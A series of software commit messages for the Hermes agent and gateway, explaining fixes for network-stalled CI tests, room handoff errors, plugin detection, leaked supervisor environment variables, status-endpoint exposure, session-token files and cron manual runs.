session.create builds the session inventory, whose tool-availability pass
runs check_vision_requirements -> routed_model_rejects_vision_tool_messages
-> is_routing_aggregator('custom') -> get_provider -> fetch_models_dev, a
foreground requests.get to https://models.dev/api.json with timeout (5, 10)
(per read, so a trickling multi-MB body has no total bound). On a runner
with a slow network that one fetch outlasts the probe's 20 s rpc() deadline:
CI job 122625883308 failed test_admitted_images_reach_managed_worker
[image-fixture-normal] and [image-fixture-safe] with TimeoutError inside
rpc(ws, 'session.create').

Repro: a sitecustomize.py in a scratch tree that makes
getaddrinfo('models.dev') stall 21 s fails all 6 cases on base with the CI
shape (session.create TimeoutError at 20.0 s); a 6 s stall makes
session.create take 6.5 s instead of 0.7 s.

Fix: the test's config pins models_dev.url to a refused loopback port
(http://127.0.0.1:9/api.json, the offline pattern tests/e2e, the ACP
conftest and test_session_busy_controls already use), so the fetch fails at
once and the probe stays on loopback. Under the same 21 s injection all 6
cases pass with session.create at ~0.6 s and zero non-loopback connects.

The pin is per test, not in the shared daemon() fixture: rewriting configs
there broke test_session_authoring_commands, which asserts that config.yaml
is byte-for-byte unchanged.
Mechanism: the shared daemon() fixture starts gateway daemons in a fresh
HERMES_HOME with no models.dev disk cache. Probes whose first session.create
or turn reaches a provider lookup (tool availability -> vision check ->
is_routing_aggregator -> get_provider -> fetch_models_dev) download
https://models.dev/api.json in the foreground with only a per-read timeout,
so a slow runner network stalls the probe by the download time. The stall
lands under rpc()'s 20 s deadline in test_managed_worker_images (CI job
122625883308) and under longer waits in the other probes that reach it.

Repro: a sitecustomize.py at a scratch tree root (the daemon's PYTHONPATH)
that logs every getaddrinfo('models.dev') found exactly four daemon-backed
files fetching on main (test_managed_worker_images, test_session_hosted_daemon
incl. its profiles/two daemon, test_handoff_completion_parent_context,
test_local_review_without_cached_agent). Stalling that lookup 21 s fails
test_managed_worker_images 6/6 on main with the CI shape.

Fix: daemon() writes a fresh models_dev_cache.json (one unknown provider, so
lookups stay as empty as an unreachable registry) into the child's
HERMES_HOME and every pre-made profiles/* home when none exists. Stage 3 of
fetch_models_dev serves a fresh disk cache without a request. config.yaml is
untouched (test_session_authoring_commands asserts it byte-for-byte), and a
test's own seeded cache wins. The per-test models_dev.url pin in
test_managed_worker_images is dropped; the fixture covers it.
test_gui_releases_lock_after_build_failure (8th in file order, the one CI's
SIGKILL'd runs stopped at) stubbed only build_prepared_desktop, so cmd_gui
ran the real source_build_env(explicit=True) -> pm.ensure("npm"): it
provisioned the PM runtime (uv sync from PyPI) and Node into the test
home, then ran real node under the update custody launcher. ~13 s with a
good network; a stalled runner network hangs the file to the 600 s cap.

Repro: a cold tool store plus a proxy that accepts and never answers
(https_proxy=127.0.0.1:<blackhole>): base is killed at 90 s, fixed passes
in 0.3 s. The test now stubs both build steps and asserts the failure
lands after dependency preparation; an autouse fixture makes any other
test in the file that reaches either step fail at once instead of hanging.
The test's own child waits (subprocess.run, the holder's readline) are
bounded at 60 s.
test_home_keyed_caches_serve_each_profile_its_own_config asserts profile A
(no explicit auxiliary.vision) keeps computer_use screenshots on the native
path. That verdict is a models.dev catalog lookup, and the test's fresh
temp homes have no catalog, so the image router fetched models.dev live
(allow_network=True, timeout (5, 10)). A slow or failed fetch reads as
"vision unknown", which correctly routes to aux vision: `assert True is
False` (CI run 40676100224, 11.9 s for a 2-test file).

Repro: run the file with the network removed (`unshare -rn`): base fails
5/5 with CI's exact message, fixed passes 5/5 (and 5/5 with network).

Fix: each temp home carries a minimal models_dev_cache.json (fresh disk
cache, served without a request), and the process-wide catalog memo is
reset so the seeded catalog is what answers. Production is unchanged:
failing closed to aux vision on an unknown catalog is the design.
test_our_own_pid_is_ours_only_at_our_exact_creation_time builds a "killed
update" identity at our own pid, half a second before our creation time.
Linux reports creation time on a 10 ms clock, so 1 start in 100 has a .500
fraction; then the fake record is a whole second (ct:N.000), and
incarnation_live's macOS `ps -o lstart` rule (a whole-second claim inside
the second we started in is ours) correctly calls it live. CI hit exactly
that: ct:1791565822.000 (main 37963759338) and ct:1791836310.000 (main
38302594724), both passing on retry.

Repro: patch update_lock.process_create_time/_OWN_CT to N.500 -> the old
test fails every time; .000/.010/.25/.49/.51/.73/.999 pass. The fixed test
steps to 0.75 s earlier only when 0.5 s would be a whole second, so it
still pins pid-reuse rejection on every start time.

(cherry picked from commit d82acc2ca6b2a8272d03a7de5c9c724c0e08811f)
A room the gateway took over from the standalone backend
(hosted_rooms_gateway_import) refused every groups.send with
invalid_params after storing the message, and no member was woken.

The handoff commits two authority transfers: the standalone copy's fence
(authority.lost, install -> install:gateway-store, epoch 2) and the
gateway store's claim (authority.claimed, gateway-store -> install,
epoch 3). The history reader and the work-record lineage took span
boundaries from authority.claimed rows only, so the chain started at the
gateway store and the epoch-3 claim did not extend it: "authority claim
does not extend its predecessor" from every prepare_room, on Send and on
each driver pass.

authority.lost is the outgoing owner's committed record of the same
transfer (same system actor, same previous/next/epoch payload), so both
readers now count it as a span boundary under the same checks. The chain
reads install@1 -> gateway-store@2 -> install@3. Nothing is rewritten:
rooms users already imported (state.db epoch 3, shared-state.db epoch 2)
work as they are. A fork (a claim whose previous owner is not the
recorded holder, a skipped epoch) is still refused.

Send also stops reporting a stored message as failed: once the user
event commits it is the Send's result, and a failure preparing the room
afterwards is logged and left to the room driver, which runs the same
preparation on its next pass (#143239).
The handoff send test polled with time.sleep; use the shared waiting helper
(tests/AGENTS.md) so a timeout names what it waited for.
Review of #145981 (P2): after a Send is stored, a room preparation that keeps
failing (a member whose profile was deleted, a full room log) retried on every
driver pass forever, and the error only overwrote the process-wide driver
last_error that no client renders. The user saw "sent" and no member answered.

Now each room counts consecutive preparation failures (contention and
ownership moves never count). The third one appends ONE member.unavailable
event to the room ("Members could not be woken: <reason>"), which Desktop and
the Webapp already render, using the control headroom so a full room can still
say why. The room's status lists a Retry row (groups.retry, task_id
prepare:<room_id>) and a per-room last_error, and the driver stops preparing
that room until the next Send or Retry. A failed Retry stays stalled and is the
RPC's error, without a second notice.

Refs #145977
CanonicalHostedRoomService's status dropped every service retry row and its
retry_room_task only knew deferred attempts, so on the gateway route the
stalled room showed no Retry and groups.retry answered stale_generation. Keep
the prepare:<room_id> row and hand that task id to the shared service, so both
routes answer the same. The stall test now runs on both routes.
fetch_models_dev downloads models.dev/api.json with timeout=(5, 10). That
bounds each socket operation, so a body that trickles in slower than 10 s
per read (or a DNS lookup that hangs) has no total bound. With no disk
cache, the fetch runs in the foreground of whatever asked for the registry;
in a fresh HERMES_HOME that is the first session.create (tool availability
-> vision check -> provider lookup), which blocked for as long as the
download took.

Run the exchange under agent.deadline.run_bounded_sync with a 15 s cap.
On expiry the fetch raises DeadlineExpired, which the existing failure path
already handles: arm the 5-minute backoff and serve the stale disk cache,
or {} when there is none.
The same per-op-only timeout sits on the shared model-metadata transport
(agent/model_metadata_http.py), and it is on the same request path: a new
session resolves its context window through fetch_model_metadata (the
OpenRouter catalog) and fetch_endpoint_model_metadata (a custom endpoint's
/models). With DNS for openrouter.ai stalled, the first session.create
blocked for the whole stall even after the models.dev cap.

stream() now sends and, for a 2xx, reads the body under
run_bounded_sync with a 15 s cap. A rejection still returns on its
headers without reading the body, so the auth-failure early close keeps
working; get() rides on stream(). On expiry it raises DeadlineExpired,
which every caller already treats as a failed probe.
run_bounded_sync stops waiting at the deadline but cannot stop the
requests download, which runs until the server stops sending. A forced
refresh skips the 5-minute backoff, so repeated attempts on a trickling
link could stack transfers. The one live download (abandoned or not) now
holds a module lock; an attempt that finds it held fails fast through the
normal failure path instead of opening a second transfer.

The deadline test also drops its 0.2 s wall-clock bound (tests/AGENTS.md
asks for >= 2 s) and checks the request count instead.
test_inventory.py::test_include_unconfigured_appends_canonical_skeletons
passes alone and fails when it runs in one process after
test_models_dev_provider_capabilities.py (with any earlier file that
already ran provider discovery, e.g. test_model_metadata.py):

    AssertionError: assert 'solstice' not in {...}

_isolated_registry() swaps providers._REGISTRY for {} but leaves
providers._PROVIDER_LIST_CACHE alone. register_provider() clears the cache,
the next list_providers() refills it from the fixture registry, and the
monkeypatch undo restores _REGISTRY but not the cache. Every later
list_providers() then returns only the fixture profile, so
unlisted_provider_names() never sees the hidden pre-release "solstice"
profile and the picker lists it.

The same fixture also left its fixture-provider/fixture-relay rows in
hermes_cli.models.CANONICAL_PROVIDERS: a post-discovery registration
mirrors into the picker catalog, and a string setattr on
"hermes_cli.models..." imports that module inside the patch window, so
the undo "restores" the patched copy.

Fix at the polluter: patch _PROVIDER_LIST_CACHE and _SOURCES alongside
_REGISTRY, and scope the catalog tables (both modules imported before any
patch). test_account_usage_fetch.py's _register_profile had the same
missing list-cache patch.

Repro (test venv python, -p no:randomly, one process; run_tests.sh runs
each file in its own process and cannot hold the order):
  test_model_metadata.py test_models_dev_provider_capabilities.py <victim>
  main: 1 failed, 120 passed   fix: 121 passed
  48 models_dev/model_metadata_http files + victim
  main: 1 failed, 774 passed   fix: 775 passed
Dispatch each guest load on the outer iframe as its own marked load
event, so onLoad gets a real React event and ancestors see guest loads.
The shell's own load is taken in the document's capture phase, before
React or any consumer handler, and the document is sent from there, also
while an Activity or Suspense boundary hides the frame; a frame mounted
hidden starts when first shown. Inside a shadow root, where a load never
reaches the document, the frame's own handler takes the shell load. Guest loads are routed by the shell's
window, so they arrive while hidden too.

Relay nested transferables both ways with an iterative walk, retry plain
once, and close ports when a message cannot be delivered, including one
that arrives before the guest frame exists.

Remount the shell when sanitized sandbox tokens change.

Mark a document sent only once it reached a shell, and send it again
only when it changed.
The Webapp keys BrowserGuestFrame by its sanitized tokens, so a sandbox
change swaps ref.current and restarts the guest; a direct frame on native
Desktop keeps its element and applies new tokens at its next navigation
(live-checked in Chromium and WebKit). Plugins that keep the first frame
element need to know.
`detectPluginComponents` (Electron) and `detect_components` (gateway) required
`plugin.yaml` AND `__init__.py` before calling a folder an agent half. Catalog
plugins that ship a `dashboard/plugin_api.py` backend and no `register(ctx)` —
hermes-cron-bulletin, iowap-hermes-integration and other unified packages — were
therefore reported as desktop-only:

- the install dialog planned the desktop half alone, so `installAgentHalf` never
  ran: nothing landed on the backend (local or a remote gateway) and every
  `ctx.rest` call answered 404 while the pane sat in the sidebar;
- a manifest-only package with no `desktop/plugin.js` was refused outright with
  "No agent or desktop plugin artifacts found", although `hermes plugins
  validate` admits it ("manifest-only plugin") and `hermes plugins install`
  installs it.

A manifest is enough to mean "this folder is the agent-side package". Update both
inspectors and the fixture they share, and cover the Electron case.
A plugin.yaml alone does not make an agent half: desktop-only catalog
plugins (agent-log, githermes, deepseek-whale) ship one beside
desktop/plugin.js as metadata, and the previous commit's rule would plan
an agent install for them that loads nothing. The old __init__.py
requirement was what kept them desktop-only.

Both inspectors now call a plugin.yaml folder an agent half when it has
an agent payload beside the manifest: __init__.py, a dashboard tab or
backend (dashboard/manifest.json), or a manifest-only language pack
(provides_locales plus locales/, the loader's own rule). plugin.json
stays an agent half on its own. The shared detection fixture gains the
cron-bulletin shape, a dashboard-only package, the desktop-only shape and
three language-pack cases; its existing cases are unchanged.

Co-authored-by: dandacompany <128420625+dandacompany@users.noreply.github.com>
The body zone menu's accessible name stringified the pane's live tab
label, which is a React element for locale-following panes (terminal,
files, review, sessions): screen readers announced "Zone options for
[object Object]". Use the string twin (`tabTitleText`, else the
registered title) the drag ghost and Show/Hide rows already read.

Found by @kshitijk4poor in the Webapp live checks on main.

Refs #144648
The pane read its status once when it opened (the app's query client
turns focus refetch off), so a `webapp:` change made with `hermes config
set` or another window stayed invisible until the pane was reopened.
Re-read the status when the window regains focus (react-query's own focus
refetch follows visibilitychange only, which a native window losing focus
to a terminal never fires), when it comes back into view, and on a 10 s
poll while visible. The LAN/own-URL choice follows the saved config when
a refetch changes it, and an unsaved choice survives refetches that leave
it as it was.

Found by @kshitijk4poor in the Webapp live checks on main.

Refs #144648
Covers the other half of the draft sync: a refetch that leaves the saved
config as it was must keep the LAN/own-URL choice and URL the user is
typing (review finding).

Refs #144648
GET /api/webapp-access/status ran access_status() inside _scoped ->
_profile_scope, holding the process-wide _SKILLS_PROFILE_LOCK across the
gateway control-socket round trip. The pane polls it every 10 s, so each
poll stalled every config, skills and tools request for the gateway's
answer time (the full timeout when it is slow or mid-restart). Resolve the
gateway with _scoped, then query through _in_gateway_home, as _restart does.

The pane's status query also takes staleTime: 0, so reopening it reads at
once instead of showing the shared client's cached answer until the next
poll tick.

Review suggestions from @kshitijk4poor.
Every process below a launchd-managed gateway (its agents' terminal
tools, the scripts they run) inherits HERMES_LAUNCHD_LABEL, and an
--external-supervisor gateway also exports
HERMES_GATEWAY_EXTERNAL_SUPERVISOR and HERMES_SUPERVISED_CHILD.
spawn_unmanaged_gateway copied them into the daemon a client
auto-starts, so the daemon declared its supervisor as launchd, never
armed --idle-exit, and outlived every client. On one Mac, coder runs
started from a launchd gateway left 71 such daemons behind in a day
(3.2 GB RSS, each still ticking cron and polling an MCP server).

Strip them next to the systemd markers c1152fb53a already strips.
HERMES_S6_SUPERVISED_CHILD stays: without it `gateway run` inside an
s6 container redirects to the s6 longrun instead of starting.
Every child env the agent builds (terminal tool, background processes,
cron scripts, hermes_subprocess_env helpers, build_subprocess_env with or
without the secret scrub) inherited HERMES_LAUNCHD_LABEL, which the
stderr-timestamp wrapper forwards to the ONE gateway launchd starts
(#120087). A gateway an agent then starts from its terminal read the
parent's label: _detect_supervisor() answered "launchd",
is_gateway_supervisor_process() was true, /restart took the exit-75 route
no supervisor answers, and the drain cap logged and probed the parent's
job. HERMES_GATEWAY_EXTERNAL_SUPERVISOR, which `gateway run
--external-supervisor` stamps into its own environ, leaked the same way,
and so did systemd's NOTIFY_SOCKET / WATCHDOG_USEC / WATCHDOG_PID, which
name the unit's main process only.

Strip those names in the shared child-env guards (_finalize_child_env and
the unscrubbed build_subprocess_env branch). Kept on purpose:
XPC_SERVICE_NAME (launchd's per-process stamp; `hermes update` compares it
to tell it runs inside a job), INVOCATION_ID / JOURNAL_STREAM (systemd
sets them for the whole unit and the gateway-child dispatch reads them),
and the launch markers HERMES_SUPERVISED_CHILD / HERMES_S6_SUPERVISED_CHILD.

Reported by @kshitijk4poor on #144648.

Co-authored-by: kshitijk4poor <82637225+kshitijk4poor@users.noreply.github.com>
spawn_unmanaged_gateway builds its env from a copied os.environ, so the
child-env guards never see it. A client below a Type=notify gateway
handed the auto-started daemon NOTIFY_SOCKET / WATCHDOG_USEC /
WATCHDOG_PID (seen live on the head leg), and the daemon's watchdog
would feed the parent unit's socket. Strip them beside the launchd and
--external-supervisor markers.
On a Mac with a GUI session spawn_unmanaged_gateway hands the daemon to launchd and returns a
GatewayJob (poll()/pid only), so child.wait()/kill() raised AttributeError on the macOS lane.
The test now waits for the stub interpreter's witness file and cleans up either shape: kill a
plain child, `launchctl remove` a launchd job. (Greptile P1 on #145930; red on macOS CI.)
HERMES_GATEWAY_EXTERNAL_SUPERVISOR is the only profile pin an
--external-supervisor gateway holds: the agent's own `hermes ...` commands
read it (_under_gateway_supervisor) to skip the sticky active_profile.
Stripping it from tool children sent a default gateway's agent onto another
profile after `hermes profile use work` (#74872 shape), and the auto-started
daemon lost HERMES_SUPERVISED_CHILD's pin the same way.

Both strip points now carry the pin as HERMES_GATEWAY_PROFILE_PIN, which
_under_gateway_supervisor and the dashboard's fixed-identity check read and
is_gateway_supervisor_process / is_supervised_gateway_launch never do, so a
gateway an agent starts still answers unsupervised.

Reported by @kshitijk4poor in the #145930 review.
A Group Chat created before a gateway served the profile is imported into the gateway's store
and fenced in the standalone one (gateway/hosted_rooms_gateway_import.py). The Desktop's local
backend (`hermes serve`) forwarded room calls to that gateway from a hand list that stopped at
groups.approve, so groups.attachment.upload/download ran against the fenced copy and every
Attach files answered "This Group Chat is managed by another gateway.", and groups.discard (no
handler on this wire at all) answered "unknown method".

- The forwarded set is now the gateway route's own GROUP_METHODS, so a new room verb on the
  gateway route is forwarded (and advertised in forwarded capabilities) without a second list.
- groups.discard gets a contract and handler on this wire: forwarded to the owning gateway, the
  only runtime that offers Discard; refused (4127) on a room this backend drives itself.
- The owner hop accepts answer frames up to the largest room attachment (base64 of 15 MB plus
  envelope) instead of websockets' 1 MiB default, so a forwarded download of a real file fits.

Fixes #145960
Refs #144648
Reported-by: dasader <dasader@users.noreply.github.com>
forward_rpc is exercised over a loopback WebSocket answering a 4 MiB
attachment download (red without the larger max_size). Every gateway
room method is now forwarded, so the capabilities filter test uses a
verb the gateway route does not serve as its not-carried example
(ruled by Teknium).
`--provider meta` (and `/model ... --provider meta`) persisted provider `meta`
when the models.dev catalog loaded and `meta-ai` when it did not.
`hermes_cli.providers.get_provider` asked models.dev for the raw alias before
consulting provider plugins, so a plugin alias that is also a models.dev id
resolved to the bare catalog entry online and to the plugin offline. The
credential resolver (`hermes_cli.auth.resolve_provider`) always answers the
plugin id. Same shape for `azure` (azure-foundry), `google` (gemini) and
`google-vertex` (vertex).

get_provider now folds an id that is only a registered plugin's alias onto
that plugin's name before the models.dev lookup (built-in ids, registered
profile names and overlay profiles keep normalize_provider's answer;
user `providers.<name>` entries still win in resolve_provider_full).

This was the CI flake in test_stale_chat_overridden_on_meta_direct
(`assert 'meta-ai' == 'meta'`, file 33.9 s): the file's first test fetched
models.dev live, the fetch failed on the runner, and the meta test fell
through to the plugin. Repro: block getaddrinfo for non-loopback hosts and
the unmodified test fails with CI's exact message; with the network it
passes. The test now seeds the registry (catalog and offline legs) and
asserts the plugin id; a new test pins every colliding alias in both
registry states against the credential resolver.
The alias owner scan took the first profile in list order, so a bound
home plugin declaring an alias (my-meta aliases=("meta",)) lost to the
bundled meta-ai even though get_provider_profile picks the home plugin.
Ask the registry for the owner instead; built-in and exact-name guards
stay.
The home-aware owner lookup ran for every non-static canonical id, so a
registry stub (and any profile object without aliases) reached
`owner.aliases`. Ask the listed profiles first: an id no profile names
as an alias keeps what normalize_provider gave it, without calling
get_provider_profile at all.
Deployment managers (agenix, sops-nix, systemd credentials) hand a
secret over as a file path, and a path -- unlike the token itself --
can sit in a unit environment or a plist without leaking anything into
a world-readable store path. hermes only took the token as an env var,
so every secret-file deployment needed a shell wrapper to read the
file, export the token, and exec hermes -- and that wrapper is where
path quoting goes to die.

HERMES_DASHBOARD_SESSION_TOKEN_FILE names the file; it loses to
HERMES_DASHBOARD_SESSION_TOKEN, and an unreadable or empty file fails
at startup with a message that names the variable, in the same shape
the wrapper's check used to fail in.
Since 3d8dafc729 the renderer loads the whole app through one dynamic
import, and in the production build every app stylesheet is a
dependency of it. When one of them, or the app chunk, fails to load once
(a dropped request), the import rejects, `void` discards the rejection
and React never mounts: the page stays blank with nothing to click.

The entry now logs the cause and, while #root is still empty, shows a
short notice with a Reload button. Transparent windows (the pet overlay,
the wake indicator) only log: they are click-through or too small for a
notice, which would only paint over the desktop. Their list moves into a
small module that the entry and main.tsx share. It never reloads on its own, as the
dashboard's chunk recovery settled for a failure on the same build
(#145357), and as native Desktop treats a failed page load.
The notice now leads with the HERMES AGENT wordmark in the bundled
Collapse face, as an empty chat does, and uses the theme's accent for the
wordmark and a primary Reload button. The face loads through FontFace;
if it fails, the lettering falls back to bold system uppercase.

applyTheme stores the colours as one snapshot (background, foreground,
accent, accent ink) beside the pre-paint keys, so a failed write never
pairs one theme's background with another's ink. It stores none when a
colour is an unresolved var(), which means nothing without the app, and
drops a stale snapshot when the write fails. With a snapshot the notice
paints its own background too, so the pair holds whether or not the app's
stylesheet painted the page; without one it inherits the page's colours
and keeps an outlined button, as before.

The writer lives with the theme code (themes/boot-palette.ts) and the
notice keeps its own small reader, so the renderer entry imports no new
chunk: it must not need another request before it can show the notice.
A test round-trips the two.
The Windows footgun lint is right that utf-8 reads break on BOM-prefixed
files; utf-8-sig reads both alike. And a token file that is not valid
UTF-8 raised UnicodeDecodeError -- not an OSError -- so the startup
failure printed a traceback instead of naming
HERMES_DASHBOARD_SESSION_TOKEN_FILE. Catch UnicodeError with it.
/api/status is public so the native-app login probe and uptime checks can
read it without a session. On the gateway's Webapp behind its sign-in gate
(a wildcard bind reaches everyone on the network) it also answered every
caller with the profile names (profiles, parked_profiles,
gateway_shared_with), the install id, host memory and disk figures, the
Nous session state and session counts, and its ?profile= 404 told which
profile names exist.

The Webapp now answers a caller it cannot verify with liveness and the
sign-in shape only (version, release_date, gateway_running, gateway_state,
overall, components, auth_required, auth_providers, auth_flows) and ignores
?profile= for it. A signed-in browser or a native app's bearer gets the full
payload: the route checks the session the gate would accept (sign-in
binding included) through the existing _require_token, with a side-effect
free peek, since the gate skips public paths. The standalone dashboard and
every loopback listener answer as before: Hermes Cloud lists profiles from
the dashboard's public body (#60585).

Reported by @kshitijk4poor. The public-path session check follows the
approach in #97303.

Refs #144648
Refs #97302

Co-authored-by: Alexandre Mallet <alexandre.mallet@buldee.com>
The signed-out tests only proved a forged bearer is refused; a regression rejecting every
bearer in peek_session would have stayed green while Desktop status reads lost their profiles.
This walks the real native sign-in on the Webapp and checks the redeemed bearer gets the full
body while the cookieless, bearerless call stays trimmed (red with every bearer rejected).
(Greptile P2 on #145931.)
/api/status is public, so the sign-in gate never refreshes on it: a signed-in
Webapp tab whose access token expired since its last gated request reads the
trimmed signed-out body until its next gated request rotates the cookies.
Every Desktop reader took that body as a real answer:

- browser-served-profiles read() saw no gateway_shared_with, took it for an
  older backend and reset the served set to "everything served", so the
  unserved-profile guard in both profile switchers stopped working until the
  next read. It now keeps the last set and re-reads on the next inventory read.
- the statusbar snapshot dropped most fields and dismissed the shared-profile
  warning; it now keeps the last snapshot.
- the Command Center system panel keeps its last full status.
- the shared-gateway restart confirm saw no served set and restarted the
  multiplexer without asking; it now makes one gated request (/api/auth/me,
  which rotates the cookies) and re-reads.

isSignedOutStatus() detects the trimmed shape: auth_required true with neither
active_sessions nor install_id, which the full body always carries.
peek_session stays side-effect free.
The code-health gate blocks new HERMES_* variables, and it is right:
the credential contract already exists. HERMES_DASHBOARD_SESSION_TOKEN
now takes 'file:<path>' -- the value names a file to read instead of
being the token -- so deployment managers pass a path (not a secret)
through the unit environment. Desktop's per-spawn minting writes raw
tokens and is unaffected.
web_server.py is a facade and AGENTS.md puts behaviour in siblings
(<stem>_<topic>.py). The file-reading resolver is behaviour, so it now
lives in web_server_session_token.py as resolve_session_token(); the
facade keeps the _SESSION_TOKEN module state and the call. Tests import
the sibling; no re-export shim.
The import additions pushed test_web_server.py over its line cap. The
class is exactly the topical sibling test file's subject, so it moves
whole (moved code keeps its cap); test_web_server.py shrinks below its
main value again.
backend.sessionTokenFile used to be rendered into a launcher that read
the file, exported the token and execed hermes -- because hermes took
the token only as an env var. That launcher is gone: hermes reads
HERMES_DASHBOARD_SESSION_TOKEN_FILE itself, so the module now sets the
path in the unit environment (systemd Environment=, launchd
EnvironmentVariables) and builds the plain hermes argv whenever no wait
is configured. Nothing renders the path through a shell any more, which
also retires the escapeShellArg-versus-${XDG_RUNTIME_DIR} bug class for
the backend -- and the same expansion fix lands in the desktop wrapper,
which still reads the token itself. The option insists on an absolute
path; a secret manager's placeholder would pass through unexpanded.

Depends on the HERMES_DASHBOARD_SESSION_TOKEN_FILE backend support;
against an older backend the service would mint a random token and the
desktop would fail to attach with no nix-side error.
Follows the backend's file: prefix: one credential variable, and the
unit environment carries a path rather than a new secret-shaped name.
feat(nix): the session token rides the unit environment as a path
python-build-standalone's Windows build ships python.exe only, so python3
(npm/vitest helpers, POSIX-minded scripts) resolved past the activated PATH
to the Microsoft Store App Execution Alias stub, which fails. Stage a copy of
the python.exe launcher as python3.exe beside it, before publish so the tree
digest covers it. verify() requires the copy to match python.exe, so an
entry staged earlier restages once on the next explicit install (activation's
setup); startup's facts check never calls verify.
A token-only deployment (nix/agenix: backend.sessionTokenFile ->
HERMES_DASHBOARD_SESSION_TOKEN=file:<path>) had no way to satisfy the
June-2026 fail-closed gate: gated mode demands a registered
DashboardAuthProvider, the interactive prompt then writes basic-auth
credentials the deployment never asked for, and the provisioned token
itself is rejected on every gated leg (REST 401, /api/ws 403) — the
desktop's 'HTTP reachable but the WebSocket fails' incident.

The bundled session_token plugin closes that: it registers whenever the
session token is provisioned (skippable via
dashboard.session_token_auth.enabled: false) and verify_session
constant-time-compares the presented credential against it. Both legs a
token-mode client uses — the REST bearer path and the /api/ws ?token=
upgrade — run through that seam, so one provisioned token authorizes both.

It is deliberately not an interactive login: a new interactive_login
capability flag keeps it off the login page, /api/auth/providers, the
auto-SSO redirect and the native provider chooser (a token-gated /login
now renders a note explaining the credential channel), while
supports_session stays True so the gate's verify loops consult it.

Rotation semantics are pinned by tests: a saved client copy from before a
secret redeploy must fail closed, not half-work.
Review follow-up (#146139). The native authorize route still counted
every session provider: with session-token beside one password/OAuth
provider an unnamed request 404'd instead of auto-selecting the only
interactive one, and with session-token alone (or named explicitly) it
fell into its start_login stub -> uncaught NotImplementedError -> 500.

registry.list_interactive_providers() is now the single query every
sign-in surface uses: native selection + chooser, the login page,
/api/auth/providers, auto-SSO and the /api/status native_pkce
advertisement (a token-only gate no longer tells Desktop to try a
browser flow it doesn't have). An explicitly named non-interactive
provider is rejected with 400 before any pending broker state exists.
The verify/refresh loops keep list_session_providers.

Tests: native authorize auto-select / token-only / explicit-name cases
and the native_pkce advertisement against the real routes (red without
the fix: the 404 and the 500 above); the dashboard.session_token_auth
opt-out read from a real config.yaml under a temp HERMES_HOME; the REST
bearer test now asserts an exact 200 + provider on /api/auth/me (the old
/api/session target was unrouted, so its 'not 401' passed on a 404).
Docs: the deployment check curls /api/auth/me, not /api/me.
`cronjob run` / `hermes cron run` / dashboard Run on an `in 30m` one-shot
completed the job (repeat 1/1, next_run_at null), so the real reminder
never fired; a recurring repeat.times=N job lost one of its N runs.

The fire claim now decides, under the jobs lock, whether the fire is
off-schedule (a run-now while the stored slot is still in the future)
and stamps the pending slot on fire_claim. claim_dispatch and
mark_job_run read that stamp: repeat.completed is untouched and
next_run_at stays on the slot. trigger_job (the gateway-forwarded run)
remembers the slot it overwrites and the claim restores it in the same
save, so a crash between claim and completion cannot lose it. A run at
or after the due slot is still the scheduled fire (no double fire).

The one-shot removal diagnostics move to cron/jobs_oneshot_diagnostics.py
so cron/jobs.py ends shorter than on main.
An unforced provider claim ahead of the slot keeps advancing next_run_at
(test_claim_succeeds_once_then_blocks); the dashboard Run already passes
manual=True. Diagnostics catch-all logs its traceback; user docs say a
manual run keeps the scheduled one.
Two review findings on the extra-fire change:
- A second trigger_job before the ticker claimed saved the first trigger's "now" as the slot
  to restore, so the original scheduled time was lost and the manual run consumed the one-shot.
  trigger_job now keeps the saved slot while a run-now is still queued.
- The tick's advance_next_runs rewrote next_run_at before the worker claimed, erasing the
  manual_run_at == next_run_at pair, so a gateway-forwarded recurring run spent repeat budget
  (and could retire the job). The advance now leaves a queued run-now alone; its claim restores
  the slot and owns the at-most-once advance.
A trigger_job that landed while a manual (extra) run was in flight had its
manual_run_at/manual_run_restore_at cleared by that run's mark_job_run, and
settle moved next_run_at off the queued "now", so the queued run fired as a
normal fire and completed the one-shot. The claim pops manual_run_restore_at
in its own save, so a job holding it again at completion was triggered
mid-run: keep its markers and leave it queued for its own claim.
fire_claim.at cannot order the two: the run heartbeat refreshes it.

settle's docstring said a recurring slot that passes mid-run is kept; it is
dropped (as on main). Corrected the docstring.
When a manual run hit a provider quota window while another run-now was
queued, plan_hold moved next_run_at to the hold boundary but left
manual_run_at behind. The claim at the boundary no longer recognised the
queued extra fire, so it ran as a scheduled fire: it spent a repeat run and
dropped the scheduled slot saved in manual_run_restore_at.

extra_fire.reschedule moves the queued marker together with next_run_at, so
the run-now is delayed to the boundary and keeps its saved slot. A queued
run-now on a cron job waits for the boundary itself, not the next lattice
occurrence after it.
`hermes config get browser.cloud_provider` / `browser.use_gateway` warned "not a recognized
config key" although the runtime selects the browser provider from them. The validator only
walks DEFAULT_CONFIG, and provider selections stay unseeded on purpose (a stored key is the
explicit pick), as do core-section keys plugins read.

- tools.tool_backend_helpers.selection_config_keys(): the keys read_selection() honours
  (<category>.use_gateway, browser.cloud_provider, stt/tts/image_gen/video_gen provider keys,
  web.backend/search_backend/extract_backend).
- plugin.yaml / dashboard manifest.json `config_keys`: a plugin names the core-section paths it
  reads; declared for retaindb, byterover, computer_use/cua, kanban dashboard.
- hermes_cli/config_runtime_keys.py consults both before the DEFAULT_CONFIG walk.

Found on Hermes Cloud staging.
browser.cloud_provider and stt.provider are now recognized (runtime
selection keys), so the two tests that pin the hedged notice for an
unseeded key the runtime still reads take gateway.proxy_url, read by
gateway/run_turn.py and still absent from DEFAULT_CONFIG. Same
assertions; only the example key changes. Ruled by Teknium.
Same opt-in gate (HERMES_ENABLE_PROJECT_PLUGINS) and directory
(./.hermes/plugins) as plugin discovery, so a project plugin declaring
config_keys stops drawing the unrecognized-key notice once enabled.
Review findings on the config_keys seam:

- Discovery: drop the glob scan. config_keys is parsed onto PluginManifest
  (plugin.yaml, and extensions.com.nousresearch.hermes in a portable
  plugin.json) and read from the loader's own collect_directory_manifests +
  entry points + resolve_manifest_winners, so skip rules, precedence and the
  project-plugin gate are the loader's.
- Only active plugins count: gate_manifest must load the plugin (disabled wins,
  plugins.enabled opt-in, requires_hermes); memory providers count when
  memory.provider selects them.
- Bounded: a declared path is at least two segments deep and is ignored when
  DEFAULT_CONFIG already defines it; runtime keys are consulted only after the
  schema walk refused a key, so a plugin declaring [agent] no longer hides
  agent.max_turnz.
- No lru_cache: a plugin installed or enabled in a long-running process counts
  on the next config get/set (the lookup runs only for refused keys).
- computer_use.backend (read by the plugins/computer_use selector) and
  dashboard.kanban move to a core table with their readers; the selection
  sections derive from read_selection's own _SELECTION_NAME_KEYS.
- Tests use fixture plugins (enabled/disabled, hostile [agent], selected memory
  provider, portable plugin.json, project opt-in).
